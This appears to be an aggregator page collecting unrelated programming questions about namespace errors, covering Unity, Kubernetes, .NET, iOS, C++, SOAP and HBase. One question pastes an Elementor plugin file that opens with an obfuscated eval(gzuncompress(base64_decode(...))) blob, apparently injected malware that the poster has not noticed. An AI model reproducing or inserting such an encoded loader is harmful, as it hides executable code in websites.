Unity error CS0246 (namespace could not be found) [on hold]

I’m trying to follow this this tutorial:

https://www.freecodecamp.org/news/how-to-create-your-first-hololens-app-with-unity-1afa364843d4/

After I created a script to try and rotate the cube, I got an error in Unity:

Assets\InteractiveCube.cs(4,7): error CS0246: The type or namespace name 'HoloToolkit' could not be found (are you missing a using directive or an assembly reference?) 

This is the line of code it breaks on:

using HoloToolkit.Unity.InputModule; 

I have the latest version of the Mixed Reality Toolkit downloaded. I am using Unity 2018.4.8f1 and Visual Studio.

If you have encountered this problem and know how to solve it, please let me know! If you know of an alternative to accomplish the same task, I would love to know as well!

Can/should multiple application contexts share a common microservice in a single namespace?

My current employer has a single namespace into which all microservices for all projects are deployed.

Projects A, B and C all use microservice x in this common namespace:

enter image description here

Rather than each design and implement their own microservice that performs the same behaviour (for example for some common domain object CRUD operations against a database), Projects A, B and C all use and claim shared-ownership of a common implementation – microservice x – and service it in accordance with their project requirements.

Projects are upsetting the shared ecosystem for each other when deploying revised versions of x (downtime, breaking changes).

I am unclear if this is an example of what Kubernetes best practices considers to be an example of an “overcrowded namespace” anti-pattern – I am thrown by the fact that each project utilises a common microservice and I thought one of the points of microservices was to expose common things in a kind of public way like this?

Is it appropriate for this “public exposure” to manifest as a single service instance in a common namespace?

Or should the namespaces split apart and they all have their own deployment of microservice x like this?

enter image description here

why is webclient in the System.Net Namespace but net is not in the System namespace

I’m a student. I’ve have been trying to figure out out to start the road to Windows development but it seems that I can’t even figure out how to interpret the language/api structure.

Question 1: When I compare this code for C# (originally from https://stackoverflow.com/questions/307688/how-to-download-a-file-from-a-url-in-c) :

using (var client = new WebClient()) {     client.DownloadFile("http://example.com/file/song/a.mpeg", "a.mpeg"); } 

To this Powershell code (originally from video https://www.youtube.com/watch?v=C5Ws4t23Rv0 at 0:55 and modified the file location to match the example above) :

(New-Object System.Net.Webclient).DownloadFile("http://example.com/file/song/a.mpeg","c:\psexamples\a.mpeg) 

I see that both languages are using some function/method called DowloadFile from a collection? called webclient that resides in a collection? called Net which resides in a collection? called System…I think.

When I look at Microsoft api documentation for System.Net namespace WebClient is a listed Class (https://docs.microsoft.com/en-us/dotnet/api/system.net?view=netframework-4.8). However; when I look at System namespace; Net is not a listed class (https://docs.microsoft.com/en-us/dotnet/api/system?view=netframework-4.8).

Question 2: I am definitely not learning this in school and cannot see when or in what class in the future that I could possibly be exposed to any of this. When and where am I supposed to learn this stuff?

Question 3: I am going to a state school that is still super expensive. If my goal is to become a Microsoft developer; should I drop the expensive school thing and just go straight to the answer for Question 2?

Change default namespace of every item

I am facing trouble to rename the namespace of my items that I create in my SharePoint project. The namespace that I am required to modify should only have the project name in it and nothing else, but despite me changing the default namespace in the Project Properties, the result is still the same when I add a new item. For example, the name of my project is TestProject1 and the subsequent items that I aim to create should only have TestProject1 as its namespace and nothing else. Thanks for your time 🙂

EXC_BAD_INSTRUCTION (SIGILL) Namespace SIGNAL, Code 0x4

I have uploaded my application on app store but it is crashing on launch. I did tried every solution regarding it after reading all stack overflow and google answers but unable to resolve it. I can provide you my crash report if that’s helpful. I did tried changing schema from debug to release I did tried looking for unwrap operator coz some people were asking it is due to these crashes

Exception Type: EXC_BAD_INSTRUCTION (SIGILL) Exception Codes: 0x0000000000000001, 0x0000000000000000 Termination Signal: Illegal instruction: 4 Termination Reason: Namespace SIGNAL, Code 0x4 Terminating Process: exc handler [29508] Triggered by Thread: 0 Thread 0 name: Dispatch queue: com.apple.main-thread Thread 0 Crashed: I only want to see where is the crash or solution to resolve the crash one more thing it is getting stuck when I am running release schema on Xcode…on library pod ‘SwiftIconFont’, ‘~> 2.7.3’

How to fix error: no member named ‘chrono’ in namespace ‘std’

My code will not complie-I receive error: no member named ‘chrono’ in namespace ‘std’.

Many online sources have suggested that this may be because I am using an outdated version of gcc, but I have verified that I am using gcc version 6.5.0, which should include the chrono library. I cloned all of this code off of a professor for whom I’m working’s git hub, so I think the problem is with my system/compiler rather than with the code itself. For reference, I am using ubuntu on a windows computer.

Here is the error message: ../src/cpp/sgsolver_maxminmax_3player.cpp:144:24: error: no member named ‘chrono’ in namespace ‘std’ unsigned seed = std::chrono::system_clock::now().time_since_epoch().count();

Thanks so much for your help!

Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in [on hold]

<?php                eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?><?php         namespace Elementor;          if ( ! defined( 'ABSPATH' ) ) {         exit; // Exit if accessed directly.         }          /**         * Elementor autoloader.         *         * Elementor autoloader handler class is responsible for loading the different         * classes needed to run the plugin.         *         * @since 1.6.0         */         class Autoloader {          const ALIASES_DEPRECATION_RANGE = 0.2;          /**          * Classes map.          *          * Maps Elementor classes to file names.          *          * @since 1.6.0          * @access private          * @static          *          * @var array Classes used by elementor.          */         private static $  classes_map;          /**          * Classes aliases.          *          * Maps Elementor classes to aliases.          *          * @since 1.6.0          * @access private          * @static          *          * @var array Classes aliases.          */         private static $  classes_aliases;          /**          * Run autoloader.          *          * Register a function as `__autoload()` implementation.          *          * @since 1.6.0          * @access public          * @static          */         public static function run() {             spl_autoload_register( [ __CLASS__, 'autoload' ] );         }          /**          * Get classes aliases.          *          * Retrieve the classes aliases names.          *          * @since 1.6.0          * @access public          * @static          *          * @return array Classes aliases.          */         public static function get_classes_aliases() {             if ( ! self::$  classes_aliases ) {                 self::init_classes_aliases();             }              return self::$  classes_aliases;         }          public static function get_classes_map() {             if ( ! self::$  classes_map ) {                 self::init_classes_map();             }              return self::$  classes_map;         }          private static function init_classes_map() {             self::$  classes_map = [                 'Admin' => 'includes/admin.php',                 'Api' => 'includes/api.php',                 'Base_Control' => 'includes/controls/base.php',                 'Base_Data_Control' => 'includes/controls/base-data.php',                 'Base_UI_Control' => 'includes/controls/base-ui.php',                 'Beta_Testers' => 'includes/beta-testers.php',                 'Compatibility' => 'includes/compatibility.php',                 'Conditions' => 'includes/conditions.php',                 'Controls_Manager' => 'includes/managers/controls.php',                 'Controls_Stack' => 'includes/base/controls-stack.php',                 'DB' => 'includes/db.php',                 'Debug\Debug' => 'includes/debug/debug.php',                 'Editor' => 'includes/editor.php',                 'Elements_Manager' => 'includes/managers/elements.php',                 'Embed' => 'includes/embed.php',                 'Fonts' => 'includes/fonts.php',                 'Frontend' => 'includes/frontend.php',                 'Group_Control_Base' => 'includes/controls/groups/base.php',                 'Group_Control_Interface' => 'includes/interfaces/group-control.php',                 'Heartbeat' => 'includes/heartbeat.php',                 'Images_Manager' => 'includes/managers/image.php',                 'Maintenance' => 'includes/maintenance.php',                 'Maintenance_Mode' => 'includes/maintenance-mode.php',                 'Posts_CSS_Manager' => 'includes/managers/css-files.php',                 'Preview' => 'includes/preview.php',                 'Rollback' => 'includes/rollback.php',                 'Scheme_Base' => 'includes/schemes/base.php',                 'Scheme_Color' => 'includes/schemes/color.php',                 'Scheme_Color_Picker' => 'includes/schemes/color-picker.php',                 'Scheme_Typography' => 'includes/schemes/typography.php',                 'Scheme_Interface' => 'includes/interfaces/scheme.php',                 'Schemes_Manager' => 'includes/managers/schemes.php',                 'Settings' => 'includes/settings/settings.php',                 'Settings_Controls' => 'includes/settings/controls.php',                 'Settings_Validations' => 'includes/settings/validations.php',                 'Settings_Page' => 'includes/settings/settings-page.php',                 'Shapes' => 'includes/shapes.php',                 'Skins_Manager' => 'includes/managers/skins.php',                 'Stylesheet' => 'includes/stylesheet.php',                 'System_Info\Main' => 'includes/settings/system-info/main.php',                 'TemplateLibrary\Classes\Import_Images' => 'includes/template-library/classes/class-import-images.php',                 'TemplateLibrary\Manager' => 'includes/template-library/manager.php',                 'TemplateLibrary\Source_Base' => 'includes/template-library/sources/base.php',                 'TemplateLibrary\Source_Local' => 'includes/template-library/sources/local.php',                 'TemplateLibrary\Source_Remote' => 'includes/template-library/sources/remote.php',                 'Tools' => 'includes/settings/tools.php',                 'Tracker' => 'includes/tracker.php',                 'Upgrades' => 'includes/upgrades.php',                 'User' => 'includes/user.php',                 'Utils' => 'includes/utils.php',                 'Widget_WordPress' => 'includes/widgets/wordpress.php',                 'Widgets_Manager' => 'includes/managers/widgets.php',                 'WordPress_Widgets_Manager' => 'includes/managers/wordpress-widgets.php',             ];              $  controls_names = Controls_Manager::get_controls_names();              $  controls_names = array_merge( $  controls_names, [                 'base_multiple',                 'base_units',             ] );              foreach ( $  controls_names as $  control_name ) {                 $  class_name = 'Control_' . self::normalize_class_name( $  control_name, '_' );                  self::$  classes_map[ $  class_name ] = 'includes/controls/' . str_replace( '_', '-', $  control_name ) . '.php';             }              $  controls_groups_names = Controls_Manager::get_groups_names();              foreach ( $  controls_groups_names as $  group_name ) {                 $  class_name = 'Group_Control_' . self::normalize_class_name( str_replace( '-', '_', $  group_name ), '_' );                  self::$  classes_map[ $  class_name ] = 'includes/controls/groups/' . $  group_name . '.php';             }         }          /**          * Normalize Class Name          *          * Used to convert control names to class name,          * a ucwords polyfill for php versions not supporting delimiter parameter          * reference : https://github.com/elementor/elementor/issues/7310#issuecomment-469593385          *          * @param $  string          * @param string $  delimiter          *          * @todo Remove once we bump minimum php version to 5.6          * @return mixed          */         private static function normalize_class_name( $  string, $  delimiter = ' ' ) {             return str_replace( ' ', $  delimiter, ucwords( str_replace( $  delimiter, ' ', $  string ) ) );         }          private static function init_classes_aliases() {             self::$  classes_aliases = [                 'CSS_File' => [                     'replacement' => 'Core\Files\CSS\Base',                     'version' => '2.1.0',                 ],                 'Global_CSS_File' => [                     'replacement' => 'Core\Files\CSS\Global_CSS',                     'version' => '2.1.0',                 ],                 'Post_CSS_File' => [                     'replacement' => 'Core\Files\CSS\Post',                     'version' => '2.1.0',                 ],                 'Posts_CSS_Manager' => [                     'replacement' => 'Core\Files\Manager',                     'version' => '2.1.0',                 ],                 'Post_Preview_CSS' => [                     'replacement' => 'Core\Files\CSS\Post_Preview',                     'version' => '2.1.0',                 ],                 'Responsive' => [                     'replacement' => 'Core\Responsive\Responsive',                     'version' => '2.1.0',                 ],                 'Admin' => [                     'replacement' => 'Core\Admin\Admin',                     'version' => '2.2.0',                 ],                 'Core\Ajax' => [                     'replacement' => 'Core\Common\Modules\Ajax\Module',                     'version' => '2.3.0',                 ],             ];         }          /**          * Load class.          *          * For a given class name, require the class file.          *          * @since 1.6.0          * @access private          * @static          *          * @param string $  relative_class_name Class name.          */         private static function load_class( $  relative_class_name ) {             $  classes_map = self::get_classes_map();              if ( isset( $  classes_map[ $  relative_class_name ] ) ) {                 $  filename = ELEMENTOR_PATH . '/' . $  classes_map[ $  relative_class_name ];             } else {                 $  filename = strtolower(                     preg_replace(                         [ '/([a-z])([A-Z])/', '/_/', '/\\/' ],                         [ '$  1-$  2', '-', DIRECTORY_SEPARATOR ],                         $  relative_class_name                     )                 );                  $  filename = ELEMENTOR_PATH . $  filename . '.php';             }              if ( is_readable( $  filename ) ) {                 require $  filename;             }         }          /**          * Autoload.          *          * For a given class, check if it exist and load it.          *          * @since 1.6.0          * @access private          * @static          *          * @param string $  class Class name.          */         private static function autoload( $  class ) {             if ( 0 !== strpos( $  class, __NAMESPACE__ . '\' ) ) {                 return;             }              $  relative_class_name = preg_replace( '/^' . __NAMESPACE__ . '\\/', '', $  class );              $  classes_aliases = self::get_classes_aliases();              $  has_class_alias = isset( $  classes_aliases[ $  relative_class_name ] );              // Backward Compatibility: Save old class name for set an alias after the new class is loaded             if ( $  has_class_alias ) {                 $  alias_data = $  classes_aliases[ $  relative_class_name ];                  $  relative_class_name = $  alias_data['replacement'];             }              $  final_class_name = __NAMESPACE__ . '\' . $  relative_class_name;              if ( ! class_exists( $  final_class_name ) ) {                 self::load_class( $  relative_class_name );             }              if ( $  has_class_alias ) {                 class_alias( $  final_class_name, $  class );                  preg_match( '/^[0-9]+\.[0-9]+/', ELEMENTOR_VERSION, $  current_version );                  $  current_version_as_float = (float) $  current_version[0];                  preg_match( '/^[0-9]+\.[0-9]+/', $  alias_data['version'], $  alias_version );                  $  alias_version_as_float = (float) $  alias_version[0];                  if ( $  current_version_as_float - $  alias_version_as_float >= self::ALIASES_DEPRECATION_RANGE ) {                     _deprecated_file( $  class, $  alias_data['version'], $  final_class_name );                 }             }         }         } 

Please Help me on this,

How can i use protocol Soap when is not including in Formatters namespace?

I´m trying to use soap protocol including from using System.Runtime.Serialization.Formatters.soap but visual studio throws a message saying soap does n´t exist in this the namespace and the intelli sense helper only show me Binary format. How can i add this class or what can i do?

I´m using .net framerwork 4.7.03 with visual studio community 2019 in language c# running on w10.

using System;  using System.Runtime.Serialization.Formatters.Soap;  static class Program     {           static void Main()         {                   }     } 

I expect that i can use soap format correctly to serialize and unserialize in my web service

Can’t talk to HBase from different kubernetes namespace: java.net.UnknownHostException: hregion-0.hregion

I am using kubernetes, where I have a Hadoop cluster running in namespace ‘platform’. I have an example application running in namespace ‘example’ The example application needs to talk to HBase. When it does so, we see the following error:

java.net.UnknownHostException: hregion-0.hregion at java.net.InetAddress.getAllByName0(InetAddress.java:1280) at java.net.InetAddress.getAllByName(InetAddress.java:1192) at java.net.InetAddress.getAllByName(InetAddress.java:1126) at java.net.InetAddress.getByName(InetAddress.java:1076) at org.apache.hadoop.hbase.client.ConnectionUtils.getStubKey(ConnectionUtils.java:233) at org.apache.hadoop.hbase.client.ConnectionImplementation.getClient(ConnectionImplementation.java:1192) at org.apache.hadoop.hbase.client.ClientServiceCallable.setStubByServiceName(ClientServiceCallable.java:44) at org.apache.hadoop.hbase.client.RegionServerCallable.prepare(RegionServerCallable.java:229) at org.apache.hadoop.hbase.client.RpcRetryingCallerImpl.callWithRetries(RpcRetryingCallerImpl.java:105) at org.apache.hadoop.hbase.client.HTable.get(HTable.java:386) at org.apache.hadoop.hbase.client.HTable.get(HTable.java:360) at org.apache.hadoop.hbase.MetaTableAccessor.getTableState(MetaTableAccessor.java:1078) at org.apache.hadoop.hbase.MetaTableAccessor.tableExists(MetaTableAccessor.java:403) at org.apache.hadoop.hbase.client.HBaseAdmin$  6.rpcCall(HBaseAdmin.java:445) at org.apache.hadoop.hbase.client.HBaseAdmin$  6.rpcCall(HBaseAdmin.java:442) at org.apache.hadoop.hbase.client.RpcRetryingCallable.call(RpcRetryingCallable.java:58) at org.apache.hadoop.hbase.client.RpcRetryingCallerImpl.callWithRetries(RpcRetryingCallerImpl.java:107) at org.apache.hadoop.hbase.client.HBaseAdmin.executeCallable(HBaseAdmin.java:3084) at org.apache.hadoop.hbase.client.HBaseAdmin.executeCallable(HBaseAdmin.java:3076) at org.apache.hadoop.hbase.client.HBaseAdmin.tableExists(HBaseAdmin.java:442) 

The command

> nslookup hregion-0.hregion 

on the client machine fails, because the hregion service is in the platform namespace (where that command will succeed).

We suspected that the HBase region server has registered itself with zookeeper using an incomplete name, and verified by connecting to the zookeeper server:

[zk: localhost:2181(CONNECTED) 8] ls /hbase/rs [hregion-0.hregion,16020,1560851357442] 

The ConnectionUtils.getStubKey method simply uses java.net.InetAddress.getByName(hostname) and it is this method which fails.

How do I fix this? I assume I need to tell HBase to register its nodes in zookeeper using their fully qualified domain name – how?